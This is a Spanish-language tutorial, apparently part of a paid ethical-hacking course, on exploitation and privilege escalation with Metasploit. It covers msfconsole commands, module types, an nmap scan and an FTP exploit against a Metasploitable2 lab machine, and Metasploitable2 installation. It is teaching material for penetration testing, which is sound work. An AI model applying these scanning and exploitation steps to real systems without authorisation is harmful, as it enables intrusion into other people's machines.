Bienvenidos a esta Guía: Explotación de Vulnerabilidades con Metasploit. Comparte este articulo y síguenos para recibir más capítulos, guías y cursos.
Esta guía es parte de un curso mucho más grande en donde te enseñamos a convertirte en hacker de 0 a 100. Desde los conocimientos más básicos hasta conseguir empleo.
Para saber más comente a continuación, respondemos todos y cada uno de los comentarios.
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
Lo que aprenderás en este artículo sobre Metasploit
- Qué es Metasploit y cómo funciona:
- Conceptos básicos y arquitectura modular de Metasploit.
- Su importancia como herramienta de hacking ético.
- Funciones clave de Metasploit:
- Escaneo de vulnerabilidades.
- Explotación de sistemas.
- Post-explotación y creación de payloads personalizados.
- Rol de Metasploit en pruebas de penetración:
- Cómo se utiliza en cada fase del pentesting: recopilación, explotación y elaboración de informes.
- Categorías de módulos en Metasploit:
- Exploits, payloads, post-explotación, auxiliares, entre otros.
- Uso ético de Metasploit:
- Importancia del consentimiento y el uso responsable.
- Metasploitable2:
- Cómo instalar y usar este entorno vulnerable para practicar con Metasploit.
Escalada de Privilegios
La escalada de privilegios es el proceso mediante el cual un atacante, que ya tiene acceso limitado o no privilegiado a un sistema, eleva su nivel de permisos para obtener mayores privilegios y controlar más recursos.
Tipos:
- Escalada Horizontal: Se obtiene acceso a otras cuentas o recursos con el mismo nivel de privilegio. Por ejemplo, comprometer la cuenta de otro usuario en el mismo sistema.
- Escalada Vertical: Se eleva el nivel de privilegios, como pasar de un usuario normal a administrador o root.
Objetivo: Controlar recursos críticos del sistema o ejecutar acciones restringidas, como acceder a archivos protegidos, instalar programas o deshabilitar configuraciones de seguridad.
Ejemplo Práctico:
- Un atacante obtiene acceso a una cuenta de usuario básica.
- Utiliza una vulnerabilidad local, como una mala configuración del sistema o una falla en el kernel, para obtener privilegios administrativos.
- Con privilegios elevados, accede a datos sensibles o controla el sistema por completo.
Herramientas Comunes:
- Mimikatz (Windows)
- LinPEAS/LinEnum (Linux)
- PowerShell Empire
- Exploits de vulnerabilidades específicas (por ejemplo, CVEs conocidos).
Identificación y explotación de vulnerabilidades conocidas.
La identificación y explotación de vulnerabilidades conocidas es una fase crítica en las pruebas de penetración, y se lleva a cabo después de recopilar información sobre el objetivo y de identificar posibles debilidades en los sistemas y servicios. Aquí se describen pasos generales y algunas técnicas comunes utilizadas en esta fase:
- Base de Datos de Vulnerabilidades: Utilizar bases de datos de vulnerabilidades, como el NIST National Vulnerability Database (NVD) o el Common Vulnerabilities and Exposures (CVE), para identificar vulnerabilidades conocidas.
- Escaneo de Vulnerabilidades: Utilizar herramientas automatizadas como Nessus, OpenVAS, o Nexpose para realizar escaneos de vulnerabilidades en los sistemas y servicios objetivo.
- Análisis de Resultados: Revisar los informes generados por las herramientas de escaneo de vulnerabilidades para identificar las debilidades detectadas y evaluar su criticidad.
- Priorización de Vulnerabilidades: Clasificar las vulnerabilidades identificadas según su gravedad y su impacto potencial en la seguridad del sistema.
- Validación Manual: Validar manualmente las vulnerabilidades identificadas para confirmar su existencia y evaluar la posibilidad de explotación.
- Explotación Controlada: En caso de contar con autorización explícita, realizar pruebas de explotación controlada para verificar la efectividad de las vulnerabilidades identificadas.
- Documentación de Hallazgos: Documentar de manera detallada todas las vulnerabilidades identificadas, incluyendo información sobre su naturaleza, impacto y recomendaciones para la mitigación.
Es importante llevar a cabo estas actividades dentro del alcance ético y legal de la prueba, obteniendo siempre el consentimiento del propietario del sistema o red. Además, la comunicación transparente de los hallazgos es crucial para facilitar la mitigación y mejorar la seguridad del entorno evaluado.
Tipos de explotación de vulnerabilidades
Existen muchos tipos de explotación de vulnerabilidades:
1. Vulnerabilidades de aplicación: Estas vulnerabilidades están relacionadas con los errores de programación en la aplicación. Esto puede permitir que un atacante explote el código vulnerable para comprometer la seguridad de la misma. Estas vulnerabilidades generalmente se encuentran en el lado del cliente, como sitios web, aplicaciones móviles, aplicaciones de escritorio y aplicaciones de servidor.
2. Vulnerabilidades de red: Estas vulnerabilidades se encuentran en el nivel de red debido a la mala configuración de los firewalls, protocolos y servicios en la infraestructura. Esto puede permitir que un atacante explote la red para obtener acceso no autorizado.
3. Vulnerabilidades de servidor: Estas vulnerabilidades se encuentran en los servidores y están relacionadas con la mala configuración de los servidores. Esto puede permitir que un atacante explote el servidor para obtener acceso no autorizado.
4. Vulnerabilidades de software: Estas vulnerabilidades se encuentran en el software instalado en el sistema. Esto puede permitir que un atacante explote las vulnerabilidades del mismo para obtener acceso no autorizado.
5. Vulnerabilidades de hardware: Estas vulnerabilidades se encuentran en el hardware de la computadora. Esto puede permitir que un atacante explote el hardware para obtener acceso no autorizado.
Recomendaciones importantes
Es importante entender cómo combatir estos tipos de explotación de vulnerabilidades. Aquí te dejamos algunas recomendaciones:
- Implementar controles de seguridad efectivos, como firewalls, antivirus, antispam y herramientas de filtrado de contenido.
- Monitorear los sistemas de forma continua para detectar y responder a los intentos de explotación de vulnerabilidades.
- Asegurarse de que todos los sistemas estén actualizados y las vulnerabilidades sean mitigadas de forma adecuada.
- Utilizar una solución de seguridad que se centre en la prevención, incluso si se detectan intentos de explotación.
- Realizar pruebas de Hacking Ético o Ethical Hacking periódicas para detectar vulnerabilidades o fallos de seguridad.
- Utilizar soluciones de seguridad basadas en la nube para mejorar la seguridad y la gestión de los sistemas.
- Proporcionar educación y capacitación a los usuarios finales para reducir los riesgos de explotación de vulnerabilidades.
La mejor manera de protegerse de la explotación de vulnerabilidades es mediante la implementación de buenas prácticas de seguridad y la adopción de soluciones de seguridad eficaces. Por lo tanto, es importante tomar medidas cómo las anteriores para protegerse de un ciberataque.
Uso de exploits y herramientas automatizadas.
El uso de exploits y herramientas automatizadas es una parte esencial de las pruebas de penetración, pero debe llevarse a cabo con responsabilidad y ética. Aquí se describen las consideraciones y pasos generales para el uso de exploits y herramientas automatizadas en el contexto de una evaluación de seguridad:
- Consentimiento del Propietario: Obtener el consentimiento explícito del propietario del sistema o red antes de utilizar exploits o realizar pruebas de penetración.
- Entendimiento del Alcance: Clarificar y entender claramente el alcance de la prueba, incluyendo los sistemas y servicios específicos que están autorizados para ser evaluados.
- Documentación Detallada: Documentar de manera detallada cada acción realizada, incluyendo el uso de exploits y herramientas automatizadas, junto con sus resultados.
- Mitigación de Riesgos: Evaluar y mitigar cualquier riesgo potencial asociado con el uso de exploits, asegurándose de no causar daño irreparable.
- Priorización de Vulnerabilidades: Priorizar el uso de exploits en función de la gravedad y el impacto potencial de las vulnerabilidades identificadas.
Paso a paso
- Identificación de Vulnerabilidades: Utilizar herramientas de escaneo y análisis para identificar vulnerabilidades en sistemas y servicios.
- Selección de Exploits: Seleccionar exploits específicos que sean relevantes para las vulnerabilidades identificadas.
- Pruebas Controladas: Realizar pruebas de penetración controladas utilizando exploits, asegurándose de no causar daño no autorizado.
- Validación Manual: Validar manualmente la existencia de las vulnerabilidades y la efectividad de los exploits utilizados.
- Documentación de Resultados: Documentar los resultados de las pruebas, incluyendo detalles sobre la explotación exitosa o cualquier problema encontrado.
- Comunicación Transparente: Comunicar de manera transparente con el cliente o el propietario del sistema sobre las acciones realizadas, los resultados obtenidos y las recomendaciones de mitigación.
Herramientas Comunes para Uso de Exploits y Automatización:
Metasploit: Marco de desarrollo de pruebas de penetración con una amplia variedad de módulos de exploits.
Uso: Pruebas controladas de explotación para validar vulnerabilidades.
ExploitDB: Base de datos de exploits y técnicas de penetración.
Uso: Búsqueda y selección de exploits específicos.
AutoSploit: Herramienta de automatización que selecciona exploits de manera automática.
Uso: Pruebas automatizadas de vulnerabilidades.
Armitage: Interfaz gráfica para Metasploit con funciones de automatización.
Uso: Facilita la gestión y ejecución de exploits.
Búsqueda de vulnerabilidades de escalada de privilegios.
La búsqueda de vulnerabilidades de escalada de privilegios es crucial para evaluar la seguridad de un sistema y prevenir posibles amenazas. Aquí se describen algunos pasos y técnicas comunes utilizadas para identificar vulnerabilidades que podrían permitir a un atacante elevar sus privilegios:
- Recolección de Información: Obtener información detallada sobre el sistema, incluyendo la versión del sistema operativo, servicios en ejecución y configuraciones de seguridad.
- Enumeración de Usuarios y Grupos: Utilizar comandos y herramientas como whoami, id, o net user para enumerar usuarios y grupos en el sistema.
- Revisión de Políticas de Seguridad: Examinar las políticas de seguridad del sistema para comprender las restricciones y configuraciones de acceso.
- Análisis de Configuraciones: Revisar las configuraciones de seguridad, como permisos de archivos, configuraciones de servicios y políticas de control de acceso.
- Búsqueda de Vulnerabilidades Conocidas: Utilizar bases de datos de vulnerabilidades, escáneres de vulnerabilidades y herramientas como Nessus o OpenVAS para identificar vulnerabilidades conocidas.
- Pruebas Activas de Escalada de Privilegios: Realizar pruebas activas, como intentos de explotación, para identificar vulnerabilidades que podrían conducir a la escalada de privilegios.
Técnicas Comunes:
- Elevación de Privilegios del Usuario: Buscar vulnerabilidades que permitan a un usuario regular elevar sus privilegios a niveles más altos.
- Explotación de Servicios y Aplicaciones: Buscar vulnerabilidades en servicios y aplicaciones que podrían permitir la ejecución de código con privilegios elevados.
- Ataques a Configuraciones Débiles: Identificar configuraciones de seguridad débiles o malas prácticas que puedan ser explotadas para la escalada de privilegios.
- Escalada de Privilegios a Nivel de Sistema: Buscar vulnerabilidades que permitan a un usuario obtener privilegios de administrador o de sistema.
- Explotación de Servidores: Investigar vulnerabilidades específicas de servidores que puedan ser explotadas para la escalada de privilegios.
Herramientas Comunes:
- Windows-Exploit-Suggester: Herramienta para identificar posibles exploits en sistemas Windows.
- Uso: Búsqueda de exploits para versiones específicas de Windows.
- Linux Exploit Suggester: Herramienta para identificar posibles exploits en sistemas Linux.
- Uso: Búsqueda de exploits para versiones específicas de sistemas Linux.
- PowerUp: PowerShell script para enumerar información y buscar vulnerabilidades en sistemas Windows.
- Uso: Identificación de posibles vectores de escalada de privilegios.
- BeRoot: Herramienta para verificar configuraciones y buscar vulnerabilidades en sistemas Linux.
- Uso: Búsqueda de debilidades que podrían conducir a la escalada de privilegios.
Es crucial llevar a cabo estas actividades de manera ética y responsable, obteniendo siempre el consentimiento del propietario del sistema y respetando las leyes y regulaciones aplicables. La comunicación transparente de los hallazgos es fundamental para facilitar la mitigación y mejorar la seguridad del sistema evaluado.
Uso de técnicas básicas para elevar los privilegios.
El uso de técnicas básicas para elevar los privilegios es un componente crítico en las pruebas de penetración. Aquí se describen algunas técnicas comunes que los profesionales de seguridad pueden utilizar para identificar y explotar vulnerabilidades que conduzcan a la escalada de privilegios:
1. Explotación de Servicios Vulnerables: Identificar servicios en ejecución con vulnerabilidades conocidas y utilizar exploits específicos para elevar los privilegios.
2. Explotación de Configuraciones Débiles: Identificar configuraciones incorrectas o débiles que permitan la escalada de privilegios, como permisos inadecuados en archivos o directorios.
3. Inyección de Comandos: Explotar vulnerabilidades que permitan la inyección de comandos para ejecutar código arbitrario con privilegios elevados.
4. Explotación de Vulnerabilidades de Día Cero: Utilizar exploits de vulnerabilidades de día cero que aún no han sido parcheadas por el fabricante.
5. Ataques de Fuerza Bruta: Realizar ataques de fuerza bruta para obtener acceso no autorizado a cuentas de usuario con privilegios más altos.
6. Uso de Herramientas de Explotación: Utilizar herramientas especializadas como Metasploit, PowerShell Empire o Covenant para automatizar la explotación de vulnerabilidades y la escalada de privilegios.
7. Explotación de Servidores con Permisos Elevados: Identificar servicios que se ejecutan con privilegios elevados y buscar vulnerabilidades que permitan la manipulación de esos servicios.
8. Manipulación de Tokens de Acceso: Modificar tokens de acceso para obtener privilegios adicionales en el sistema.
9. Uso de Exploits para Escalada de Privilegios Específicos del Sistema Operativo: Utilizar exploits específicos para la escalada de privilegios en sistemas operativos particulares, como Windows o Linux.
10. Explotación de Vulnerabilidades de Aplicaciones Web: Identificar vulnerabilidades en aplicaciones web que permitan la escalada de privilegios a nivel de sistema.
Consideraciones Importantes:
- Consentimiento del Propietario: Obtener el consentimiento explícito del propietario del sistema antes de realizar pruebas de penetración.
- Documentación Detallada: Documentar cada acción realizada, incluyendo hallazgos, exploits utilizados y resultados obtenidos.
- Seguimiento Ético y Legal: Realizar todas las actividades dentro de los límites éticos y legales, evitando cualquier daño no autorizado.
- Comunicación Transparente: Comunicar de manera transparente con el cliente o el propietario del sistema sobre las acciones realizadas y los resultados obtenidos.
Es esencial llevar a cabo estas actividades de manera ética y responsable, garantizando siempre el consentimiento del propietario del sistema y respetando las leyes y regulaciones aplicables. La escalada de privilegios debe ser realizada con el objetivo de mejorar la seguridad del sistema, identificar debilidades y facilitar la mitigación.
Obtención de acceso privilegiado en el sistema objetivo.
La escalada de privilegios es el acto de explotar un error, una falla de diseño o la supervisión de la configuración en un sistema operativo o aplicación de software para obtener un acceso elevado a los recursos que normalmente están protegidos de una aplicación o usuario. Vamos a utilizar una distro de Linux vulnerable para poner un ejemplo de elevación de privilegios, se trata de Metasploitable II. Nuestra máquina atacante será un Kali Linux. El proceso que se va a llevar a cabo de manera resumida es el siguiente:
- Buscamos los servicios que están corriendo en la máquina Metasploitable.
- Comprobamos si tiene vulnerabilidades.
- Explotamos la vulnerabilidad que escogemos.
- Estamos dentro con privilegios limitados, así que buscamos procesos corriendo como root y que no pertenezcan al kernel.
- Buscamos un exploit que nos permita elevarnos y lo ejecutamos.
Las máquinas y sus IPs son las siguientes:
- Kali Linux > 192.168.1.50
- Metasploitable II > 192.168.1.49
Buscando servicios en la máquina víctima. Para esta tarea usaremos nmap, el comando a ejecutar:
nmap -p 1-65535 -T4 -sV 192.168.1.49
Como se va a usar Metasploit, podemos hacer uso de nmap en la propia herramienta (db_nmap), el resultado va a ser el mismo, pero se guardarán los resultados en la base de datos, para no perdernos antes borramos la base de datos con “clear database”. La salida (no completa) se muestra en la siguiente captura:
Ahora podemos consultar los servicios todas las veces que queramos con el comando services de Metasploit.
Buscamos posibles exploits
Vamos a centrarnos en el puerto 21, el servicio FTP, y buscamos un posible exploit:
Encontramos un exploit disponible para la versión que está corriendo en la máquina víctima. Configuramos el exploit y lo lanzamos:
Ya estamos dentro de la máquina víctima, y encima con el usuario root.
Metasploit: La Herramienta Definitiva para Pruebas de Seguridad
¿Has oído hablar de Metasploit? Si te apasiona el mundo de la seguridad informática y el hacking ético, esta herramienta te sorprenderá. En este artículo, descubrirás todo lo que necesitas saber sobre Metasploit y cómo se ha convertido en la elección preferida de los expertos, hackers y profesionales de la seguridad para realizar pruebas de seguridad. ¡Prepárate para sumergirte en el fascinante mundo de Metasploit!
¿Qué es Metasploit y cómo funciona?
Metasploit es una poderosa plataforma de pruebas de seguridad desarrollada por Rapid7. Su objetivo principal es identificar y aprovechar vulnerabilidades en sistemas informáticos con el fin de evaluar la seguridad de una red o aplicación. Esta herramienta se ha ganado una reputación sólida en la comunidad de hackers y profesionales de la seguridad debido a su funcionalidad avanzada y su enfoque ético.
Metasploit se basa en una gran base de datos de exploits, payloads y módulos que permiten llevar a cabo una amplia gama de pruebas de seguridad. Su arquitectura modular y su interfaz intuitiva facilitan la identificación y explotación de vulnerabilidades en sistemas informáticos. Además, Metasploit proporciona un entorno de desarrollo para crear exploits personalizados y adaptados a necesidades específicas.
Funciones clave de Metasploit
Metasploit ofrece una variedad de funciones y características que lo convierten en una herramienta imprescindible para los expertos en seguridad:
- Escaneo de vulnerabilidades: Permite identificar de manera eficiente las vulnerabilidades presentes en una red o aplicación.
- Explotación de vulnerabilidades: Ofrece una amplia gama de exploits y técnicas para aprovechar las vulnerabilidades identificadas.
- Post-explotación y persistencia: Permite mantener el acceso a sistemas comprometidos y realizar acciones posteriores a la explotación.
- Creación de payloads: Facilita la creación de payloads personalizados para evadir las defensas de seguridad y lograr el control de un sistema objetivo.
- Reportes detallados: Genera informes completos y detallados sobre los resultados de las pruebas de seguridad realizadas.
Metasploit y el hacking ético
Es importante destacar que Metasploit se utiliza principalmente en el ámbito del hacking ético y las pruebas de seguridad autorizadas. Los profesionales de la seguridad y hackers éticos utilizan Metasploit para identificar y remediar vulnerabilidades antes de que sean aprovechadas por actores maliciosos. Es fundamental obtener siempre el consentimiento por escrito antes de realizar pruebas de seguridad utilizando Metasploit. Metasploit posé un amplio catálogo de exploits. puedes ver la lista escribiendo: show exploits
El papel de Metasploit en las pruebas de penetración
Metasploit desempeña un papel clave en las pruebas de penetración (pentesting) al proporcionar una plataforma integral para simular ataques y evaluar la resistencia de los sistemas a amenazas reales. Su amplia gama de herramientas y exploits lo convierten en un recurso valioso para identificar las debilidades de una infraestructura y fortalecer las defensas de seguridad.
Curso de Metasploit:
Además de estos recursos, también existen cursos y libros pagos que pueden proporcionar un nivel más profundo de conocimiento sobre Metasploit. Si estás interesado en avanzar en tu aprendizaje, considera explorar opciones adicionales. Brindamos un curso de Metasploit de Álvaro Chirou y Walter Coto. Con Metasploit puedes realizar todas las fases del Pentesting, es una herramienta sumamente completa. Podrás realizar:
1 – Recopilación de información.
Antes que nada, hay que recopilar información sobre el sistema que vamos a atacar, tenemos que conocerlo todo lo que podamos para realizar una auditoría completa, la información lo es todo y cuanta más tengamos más fácil se nos harán los pasos posteriores.
2 – Búsqueda de vulnerabilidades.
Una vez hemos recopilado suficiente información hay que buscar vulnerabilidades. Para ello justamente utilizaremos Metasploit.
3 – Explotación de vulnerabilidades.
Una vez hemos detectado vulnerabilidades, mediante la explotación se “obtiene provecho” de ellas, accediendo al sistema u obteniendo provecho de él.
4 – Post-explotación.
Ésta fase no se da siempre, cómo indica su nombre es lo que se realiza después de la explotación y de haber obtenido acceso. Sería posible hacer una recogida de información a nivel interno para intentar ganar privilegios o realizar otras acciones.
5 – Elaboración de informes
En el caso de un test de penetración real se elaborarán informes que indiquen las vulnerabilidades que se han encontrado y cómo se han explotado. Hemos creado esta formación profesional donde aprenderás todo lo que necesitas para ser un experto, y con practicas que podrás aplicar en escenarios reales.
Master en Metasploit
Metasploit se ha convertido en una herramienta imprescindible para los hackers y profesionales de la seguridad en su búsqueda por evaluar y fortalecer la seguridad de las redes y aplicaciones. Su funcionalidad avanzada, su arquitectura modular y su enfoque ético la convierten en una opción destacada en el mundo de las pruebas de seguridad.
Recuerda que Metasploit debe ser utilizado de manera ética y legal, con el consentimiento adecuado y en el marco de pruebas de seguridad autorizadas. La seguridad informática es un campo en constante evolución, y herramientas como Metasploit nos ayudan a enfrentar los desafíos actuales y futuros para garantizar la protección de los sistemas y la información confidencial.
¡Explora el fascinante mundo de Metasploit y descubre todo lo que esta herramienta puede ofrecer en el ámbito de las pruebas de seguridad! Explora nuestro curso de Metasploit. Tendrás acceso de por vida al curso, recibirás actualizaciones y respuestas a tus preguntas a través de la plataforma de Udemy. ¡Empieza a aprender ya mismo!
Casos de uso de Metasploit
Metasploit ofrece una amplia gama de módulos que se pueden utilizar para pruebas de penetración y actividades de evaluación de seguridad. Estas son las principales categorías de módulos disponibles:
Exploits
Los módulos de explotación están diseñados para aprovechar las vulnerabilidades de los sistemas de destino y proporcionar una forma de ejecutar código arbitrario en el sistema de destino.
Metasploit proporciona una gran colección de exploits prediseñados que pueden usarse para atacar diversos sistemas, aplicaciones y servicios.
Payloads
Los módulos de carga útil se utilizan para entregar y ejecutar código arbitrario en sistemas de destino, generalmente después de que se haya explotado una vulnerabilidad.
Las cargas útiles pueden incluir una variedad de características, como acceso remoto al shell, carga y descarga de archivos, registro de teclas y otras actividades posteriores a la explotación.
Auxiliary
Los módulos auxiliares están diseñados para realizar diversas actividades relacionadas con la seguridad, como escaneo de puertos, descubrimiento de servicios y fuerza bruta de contraseñas.
Estos módulos se utilizan para recopilar información sobre sistemas y redes de destino y pueden usarse en la fase de reconocimiento de una evaluación de seguridad.
Encoders
Los módulos codificadores se utilizan para ofuscar y codificar cargas útiles y otros datos, para evitar la detección por parte del software antivirus y los sistemas de detección de intrusiones.
Metasploit proporciona una variedad de técnicas de codificación que pueden usarse para evadir la detección y mantener el acceso a los sistemas objetivo.
NOP Generators
Los módulos generadores NOP (sin operación) se utilizan para generar secuencias de instrucciones NOP, que pueden usarse para completar un exploit o carga útil y garantizar que se ejecute correctamente en el sistema de destino.
Post-Explotación
Los módulos de postexplotación se utilizan para realizar diversas actividades después de que un sistema se haya visto comprometido, como recopilar información adicional, exfiltrar datos y mantener el acceso al sistema objetivo.
Estos módulos se utilizan a menudo para escalar privilegios, instalar puertas traseras y ejecutar otras actividades maliciosas en el sistema de destino.
Listeners
Un oyente en Metasploit es un componente que espera conexiones entrantes de un sistema comprometido y proporciona un canal de comunicación para interactuar con ese sistema.
Cuando se ejecuta una carga útil en un sistema de destino, se establece una conexión con el sistema del atacante y el oyente es responsable de aceptar esa conexión y proporcionar un símbolo del sistema u otra interfaz para controlar el sistema comprometido.
El oyente normalmente está configurado para escuchar en un puerto de red específico y puede usar varios protocolos como TCP, UDP o HTTP.
Shellcode
Shellcode se refiere al código que se ejecuta en el sistema de destino después de que se ha explotado una vulnerabilidad y se ha entregado una carga útil.
El shellcode está diseñado para proporcionar una puerta trasera o un shell inverso al atacante y puede incluir varios comandos y funcionalidades para interactuar con el sistema de destino.
El shellcode normalmente se escribe en lenguaje ensamblador y está diseñado para ser pequeño, eficiente y portable en diferentes sistemas y arquitecturas.
En general, Metasploit ofrece una amplia gama de módulos que pueden usarse para atacar diversos sistemas, aplicaciones y servicios y realizar diversas actividades de evaluación de seguridad.
Estos módulos se pueden utilizar para identificar vulnerabilidades, explotarlas y mantener el acceso a los sistemas de destino para realizar más análisis y pruebas.
Metasploit: cómo moverse en MSFConsole
Iniciando la consola de Metasploit Framework
Puedes iniciar Metasploit buscandolo desde el menú Aplicaciones.
También puedes iniciar Metasploit en Kali Linux abriendo una consola de terminal (CTRL+ALT+T) y escribiendo
Podemos dividir este comando en tres partes básicas:
Notara que la ruta es: msf6 post(linux/gather/enum_network) > si es la primera vez que lo habre solo dirá msf6 >. En mi caso aprece asi porque estuve usando metasploit anteriormente.
- En primer lugar, el comando
sudo
se utiliza para elevar los privilegios - A continuación, el comando
msfdb init
inicializa la base de datos Metasploit PostgreSQL (utilizada para guardar datos de prueba) - Por último, el operador lógico “Y” (
&&
) le indica que inicie la consola de Metasploit Framework conmsfconsole
si el comando anterior fue exitoso
Al iniciar, se muestra un banner artístico ASCII cada vez que ejecuta MSFConsole, pero también puede mostrar uno nuevo usando el banner
comando:
Si prefiere iniciar MSFConsole sin un banner, hágalo usando el parámetro -q:
Hay varios otros modificadores disponibles para el comando msfconsole
, puede usar -h para mostrarlos todos:
El símbolo del sistema variará según la versión de Metasploit que esté utilizando. En las versiones 5 y 6 de Metasploit, al símbolo del sistema de MSFConsole se le añade el número de versión (por ejemplo, “msf5 >
” o “msf6 >
”), mientras que las versiones anteriores aparecían como “msf >
” sin el número de versión.
Desde aquí, puede ingresar comandos para interactuar con la consola.
Obteniendo ayuda
El primer comando con el que debe familiarizarse es help
, que muestra una lista de comandos disponibles en MSFConsole:
Para obtener más información sobre un comando específico, puede ejecutar help
, seguido del nombre del comando sobre el que desea obtener más información. Por ejemplo,
help core
Buscando módulos
Hay miles de módulos disponibles en Metasploit. Puede utilizar el comando de búsqueda para reducir esa lista. Al escribir help search
o search -h
se mostrará una lista completa de opciones disponibles:
A continuación se muestran algunos parámetros de uso común:
- Nombre (sin parámetros): Si desea lanzar una red amplia, simplemente puede escribir
search
seguido de una palabra clave. por ejemplo,search portscan
- CVE: Vulnerabilidades y exposiciones comunes (CVE) es una lista de vulnerabilidades divulgadas públicamente para aplicaciones y bibliotecas de software específicas, cada una con un identificador único o ID de CVE. por ejemplo,
search cve:2021-45046
- Tipo: Limite su búsqueda a tipos de módulos particulares, como módulos auxiliares (es decir, escáneres) o módulos de explotación. por ejemplo,
search type:auxiliary mysql
Obtención de información sobre módulos
Una vez que haya identificado un módulo que le interese utilizar, puede utilizar el comando info
para obtener más información al respecto:
Cómo utilizar los módulos
Una vez que haya seleccionado un módulo, puede cargarlo con el comando use
:
Esto agrega el mensaje con el nombre del módulo en rojo.
Retroceder en módulos
Puedes descargar un módulo usando el comando back
:
Salir de MSFConsole
El uso del comando exit
cerrará su conexión a MSFConsole y lo devolverá a la terminal
Configurar los parámetros del módulo
Ahora que hemos cubierto cómo buscar y utilizar módulos, explicaremos cómo configurarlos.
Visualización de opciones del módulo
Cada módulo tiene una lista de parámetros u opciones que puede configurar. Algunos de estos son obligatorios y otros son opcionales.
Después de cargar un módulo con el comando use
, puede escribir options
(o show options
) para mostrar una lista. de parámetros disponibles y sus descripciones:
Si desea verificar el valor de un parámetro específico, puede hacerlo usando el comando get
:
Mostrar opciones avanzadas
Para ver las opciones avanzadas que pueden estar disponibles para un módulo determinado, puede utilizar el comando show advanced
:
Configuración de los parámetros del módulo
Antes de poder utilizar un módulo para escanear o explotar un objetivo, es necesario configurarlo para su caso de uso específico. Puede utilizar el comando set
para actualizar el valor de un parámetro:
Sabemos por la descripción de su parámetro que “RHOSTS” representa la IP del host remoto (léase: destino) (192.168.1.1 en mi laboratorio de pruebas). Puede anular el valor de cualquier valor de parámetro establecido previamente ejecutando el comando set
nuevamente o usando el comando unset
para borrarlo:
Configuración de variables globales
Notarás que algunos parámetros, como RHOSTS, aparecen una y otra vez en varios módulos. En lugar de ingresar repetidamente el valor de RHOSTS para cada nuevo módulo que cargamos, podemos usar el comando setg
(como en “set global”):
En el ejemplo anterior, configuramos el valor global de RHOSTS en “192.168.1.1”, cargamos un nuevo módulo y verificamos el valor de RHOSTS usando el comando get
. El resultado verificó que ya estaba configurado con nuestro valor personalizado.
Ejecución de módulos y exploits
Una vez que haya configurado todos los parámetros marcados como «requeridos» para el módulo que ha cargado, puede ejecutarlo usando run
o exploi
t:
Después de ejecutar un exploit, se mostrarán los resultados, lo que le permitirá saber si el módulo se ejecutó correctamente o no.
Buscando cargas útiles
Algunos exploits requieren una carga útil (código adicional utilizado para interactuar con el objetivo). Puede utilizar el comando show payloads
para ver las cargas útiles disponibles para su módulo de explotación:
Seleccionar una carga útil
Puedes seleccionar una carga útil usando el comando set payload
, usando su nombre o número:
En el ejemplo anterior, hemos configurado el exploit para abrir un shell perl inverso en el objetivo después de comprometer una vulnerabilidad conocida en ese servidor FTP.
Comandos útiles de bases de datos
Como se mencionó anteriormente en esta guía, Metasploit admite el uso de una base de datos PostgreSQL para almacenar información capturada durante una sesión de prueba de penetración.
Nota: Puede ejecutar Metasploit Console sin estar conectado a una base de datos. Sin embargo, algunos comandos que requieren la ejecución de una base de datos (por ejemplo, db_nmap
) no se podrán utilizar.
Comprobar el estado de la base de datos
El comando db_status
mostrará si la base de datos Metasploit se está ejecutando o no:
Importación y exportación de datos
En algún momento, querrás ingresar y sacar datos de la base de datos de Metasploit. Algunos ejemplos de datos con los que quizás desee trabajar en Metasploit incluyen resultados de análisis de red (por ejemplo, Nmap) y evaluaciones de vulnerabilidad (por ejemplo, Nessus, OpenVAS).
Puedes usar el comando db_import
para importar datos a tu base de datos Metasploit y db_export
para exportar datos. Para la sintaxis y una lista completa de los tipos de archivos compatibles, puede utilizar el modificador -h (es decir, db_import -h
).
Uso de Nmap junto con su base de datos Metasploit
Metasploit puede ejecutar Nmap contra objetivos y guardar los resultados en la base de datos. Simplemente ejecute db_nmap
seguido de cualquier modificador [Nmap] que desee utilizar:
Preguntas frecuentes
¿Cuáles son los diferentes comandos de Metasploit?
A continuación se muestra una hoja de referencia para los comandos más utilizados:
Navegación
Help: Muestra una lista de comandos
Search: Buscar un módulo por nombre, CVE, etc.
Use: Carga un módulo por nombre/número
Back: Descarga el módulo actual
Exit: Cierra MSFConsole
Configuración y uso del módulo
Info: Proporciona información útil sobre un módulo
Opcions: Muestra una lista de parámetros para un módulo determinado
Set: Configura un parámetro determinado con un valor especificado valor
Run/Exploit: Ejecuta el módulo
¿Qué comando se utiliza para iniciar Metasploit?
En sistemas Linux y macOS, puede iniciar Metasploit usando el comando msfconsole desde la terminal. En Windows, deberá ejecutar msfconsole.bat desde el símbolo del sistema
¿Cuál es el comando para listar cargas útiles en Metasploit?
Puede utilizar el comando show payloads para mostrar todas las cargas útiles disponibles. Alternativamente, puede usar el comando de búsqueda para filtrar por el tipo de módulo de «carga útil». Por ejemplo, tipo de búsqueda: carga útil.
¿Qué comando ejecutará un exploit en Metasploit?
Después de cargar un módulo (usar) y configurar sus variables requeridas (conjunto), puede escribir ejecutar o explotar para ejecutar el módulo.
Al llegar al final de esta guía, has desentrañado como moverse con confianza dentro de esta interfaz es esencial para cualquier profesional de ciberseguridad. Recuerda, Metasploit es una herramienta poderosa; úsala con responsabilidad y ética en tus esfuerzos de evaluación de seguridad.
Metasploitable2 y Técnicas de Explotación
Qué es Metasploitable
Metasploitable es un sistema operativo que ha sido diseñado con el objetivo de ser vulnerado con sencillez y gracias a esto poder llevar a cabo cientos de pruebas de penetración para mejorar la seguridad y prevenir ataques a corto, mediano o largo plazo.
Es un sistema de Linux que ha sido desarrollado con las más altas vulnerabilidades de seguridad en el cual podemos llevar a cabo todas las pruebas necesarias para perfeccionar las técnicas de seguridad o conocer cómo sacar el máximo provecho a aplicaciones diseñadas para este fin.
Metasploitable no cuenta con entorno gráfico y se recomienda ser usado en redes privadas exclusivamente debido a su tolerancia a ataques. Es de código abierto y permite realizar pruebas de vulnerabilidades en archivos incrustados, atributos de archivo, permisos, etc. A continuación, veremos cómo instalar Metasploitable en VirtualBox para realizar las diversas pruebas según sea la necesidad de cada uno.
INSTALACIÓN DE METASPLOITABLE 2.
Requisitos previos
Para esto será necesario contar con lo siguiente:
Para iniciar el proceso podremos crear la máquina virtual en VirtualBox pulsando en el icono Nueva ubicado en el costado superior y en la ventana desplegada ingresaremos los siguientes valores:
Pulsamos en Next y en la siguiente ventana podremos dejar el valor de la memoria RAM por defecto, 2048MB, o bien asignar un poco más si así lo deseamos.
Pulsamos en Next y en la siguiente ventana seleccionamos la opción Crear un disco duro virtual ahora:
Pulsamos en Next y en Terminar.
